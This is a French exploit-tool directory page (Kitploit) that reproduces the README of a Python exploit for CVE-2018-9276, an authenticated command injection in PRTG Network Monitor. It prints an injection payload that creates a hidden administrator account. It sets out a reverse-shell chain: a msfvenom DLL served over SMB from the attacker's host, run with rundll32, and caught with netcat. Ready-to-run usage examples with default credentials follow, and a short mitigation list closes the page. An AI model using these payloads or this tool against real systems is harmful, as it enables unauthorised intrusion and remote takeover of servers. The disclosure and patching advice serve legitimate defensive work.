Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2018-9276 — CVE-2018-9276 — PRTG Network Monitor < 18.2.39 Authenticated RCE. For educational purposes and authorized penetration testing only. | Kitploit
Outils/GitHubGitHub/bardlaudian/cve-2018-9276
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRemote Access ToolPayload Development
GitHubbardlaudian/cve-2018-9276

CVE-2018-9276

CVE-2018-9276 — PRTG Network Monitor < 18.2.39 Authenticated RCE. For educational purposes and authorized penetration testing only.

Voir le dépôt
il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2018-9276 — PRTG Network Monitor < 18.2.39 RCE Authentifiée

Python CVE Platform

⚠️ Avertissement : Cet outil est destiné à des fins éducatives et à des tests d'intrusion autorisés uniquement. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite. Toute utilisation non autorisée est illégale.


Table des matières

  • Vue d'ensemble
  • Détails de la vulnérabilité
  • Fonctionnement
  • Prérequis
  • Installation
  • Utilisation
  • Exemples
  • Mesures d'atténuation
  • Références

Vue d'ensemble

PRTG Network Monitor est un outil de surveillance réseau développé par Paessler AG. Les versions antérieures à 18.2.39 sont vulnérables à une injection de commande authentifiée via la fonctionnalité de notifications, permettant à un attaquant disposant d'identifiants valides d'obtenir une exécution de code à distance (RCE) en tant que système local (le compte de service par défaut pour les installations PRTG).

Cette vulnérabilité a été découverte lors d'un test d'intrusion par Josh Berry et divulguée à Paessler AG, qui a publié un correctif le 20 avril 2018. Elle a été identifiée comme CVE-2018-9276.


Détails de la vulnérabilité


Fonctionnement

PRTG intègre un système de notifications qui permet aux administrateurs d'exécuter des scripts lorsque certains événements se produisent. Pour empêcher l'exécution de code arbitraire, PRTG restreint les scripts pouvant être exécutés à ceux situés dans un répertoire spécifique sur le serveur. Par défaut, seuls deux scripts de démonstration sont disponibles :

  • Demo EXE Notification - OutFile.bat
  • Demo EXE Notification - OutFile.ps1

Point d'injection

Le script PowerShell de démonstration (OutFile.ps1) transmet la valeur du champ Paramètre d'une notification directement dans le script sans aucune désinfection. Cela permet d'injecter des commandes PowerShell arbitraires en les ajoutant après un point-virgule :

root@kitploit:~
test.txt;net user attaquant P@ssw0rd! /add;net localgroup administrators attaquant /add

Lorsque PRTG exécute la notification, la commande injectée s'exécute avec les privilèges du système local.

Remarque : Le script batch (OutFile.bat) n'est pas vulnérable — Paessler semble désinfecter l'entrée avant de la transmettre au fichier batch. L'injection ne fonctionne qu'avec le script .ps1.

Déroulement de l'exploitation

L'exploit automatise les étapes suivantes :

root@kitploit:~
1. Vérifier la version du serveur → confirmer que la cible est vulnérable
2. S'authentifier → obtenir un cookie de session valide
3. Configurer une notification de fichier → initialiser un fichier de sortie inscriptible sur la cible
4. Déclencher la notification de fichier → l'exécuter via /api/notificationtest.htm
5. Générer une DLL de reverse shell → msfvenom (windows/shell_reverse_tcp)
6. Héberger la DLL → la servir via SMB depuis la machine de l'attaquant
7. Configurer une notification de commande → injecter rundll32.exe <CHEMIN_UNC>,0 après le fichier de sortie
8. Déclencher la notification de commande → exécuter la DLL sur la cible
9. Attraper le reverse shell → nc -nvlp <PORT_LOCAL>

Pourquoi rundll32 + SMB ?

PRTG n'autorise que les scripts situés dans son répertoire d'installation à être exécutés en tant que notifications, nous ne pouvons donc pas simplement télécharger et exécuter un binaire arbitraire. Au lieu de cela, nous :

  1. Utilisons msfvenom pour générer un reverse shell Windows sous forme de fichier .dll.
  2. Hébergeons ce fichier .dll sur un partage SMB sur la machine de l'attaquant.
  3. Injectons une commande rundll32.exe \\attaquant\partage\payload.dll,0 via le paramètre de notification PowerShell.

rundll32.exe peut charger et exécuter une DLL à partir d'un chemin UNC, contournant ainsi la restriction sur les fichiers que PRTG peut exécuter directement.


Prérequis

  • Python 3.8+
  • msfvenom (partie du Framework Metasploit)
  • netcat (nc)
  • impacket — nécessaire uniquement pour le serveur SMB intégré (optionnel, voir --no-smb)
root@kitploit:~
pip install impacket

Si vous avez déjà un moyen d'héberger la DLL (par exemple impacket-smbserver, exploit/multi/handler de Metasploit, ou un autre serveur SMB), vous pouvez ignorer impacket en utilisant --no-smb et --shell-location.


Installation

root@kitploit:~
git clone https://github.com/BardLaudian/cve_2018_9276.git
cd cve_2018_9276
pip install -r requirements.txt   # seulement impacket

Utilisation

root@kitploit:~
usage: cve_2018_9276.py [-h] -i HOST -p PORT --lhost LHOST --lport LPORT
                        [--user USER] [--password PASSWORD] [--https]
                        [--no-smb] [--shell-location SHELL_LOCATION] [-v]

options:
  -i, --host            Adresse IP ou nom d'hôte de la cible
  -p, --port            Port de la cible (par exemple 80 ou 443)
  --lhost               Adresse IP locale pour le callback du reverse shell
  --lport               Port local pour le callback du reverse shell
  --user                Nom d'utilisateur PRTG (par défaut : prtgadmin)
  --password            Mot de passe PRTG (par défaut : prtgadmin)
  --https               Utiliser HTTPS (certificats auto-signés acceptés)
  --no-smb              Ignorer le serveur SMB intégré (payload déjà hébergé)
  --shell-location      Remplacer le chemin UNC vers la DLL du payload
  -v, --verbose         Activer la sortie verbeuse / de débogage

Exemples

Utilisation de base (HTTP, identifiants par défaut)

root@kitploit:~
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 80 \
  --lhost 10.10.14.5 \
  --lport 4444

Cible HTTPS avec identifiants personnalisés

root@kitploit:~
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 443 \
  --lhost 10.10.14.5 \
  --lport 4444 \
  --user admin \
  --password Sup3rS3cr3t \
  --https

Ignorer le serveur SMB intégré (payload hébergé à l'extérieur)

root@kitploit:~
# Hébergez d'abord le payload vous-même :
impacket-smbserver partage /tmp -smb2support

# Exécutez ensuite l'exploit en pointant vers votre partage :
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 80 \
  --lhost 10.10.14.5 \
  --lport 4444 \
  --no-smb \
  --shell-location '\\10.10.14.5\partage\payload.dll'

Mesures d'atténuation

  • Mettez à jour PRTG vers la version 18.2.39 ou ultérieure — c'est le seul correctif complet.
  • Changez les identifiants par défaut — la vulnérabilité nécessite une authentification ; des identifiants faibles ou par défaut (prtgadmin / prtgadmin) abaissent considérablement la barrière à l'exploitation.
  • Restreignez l'accès réseau à l'interface web PRTG (règles de pare-feu, VPN, etc.).
  • Surveillez les journaux PRTG pour détecter des exécutions de test de notification inattendues.

Références

  • Découverte originale — CodeWatch (Josh Berry)
  • NVD — CVE-2018-9276
  • Historique des versions stables de Paessler AG
  • PoC original par wildkindcc
Télécharger l’outil
ChampValeur
CVECVE-2018-9276
AffectéPRTG Network Monitor < 18.2.39
TypeInjection de commande authentifiée
PrivilègesNécessite des identifiants PRTG valides
ImpactExécution de code à distance en tant que système local
Score CVSS7,2 (Élevé)
CorrectifPRTG 18.2.39 (publié le 20 avril 2018)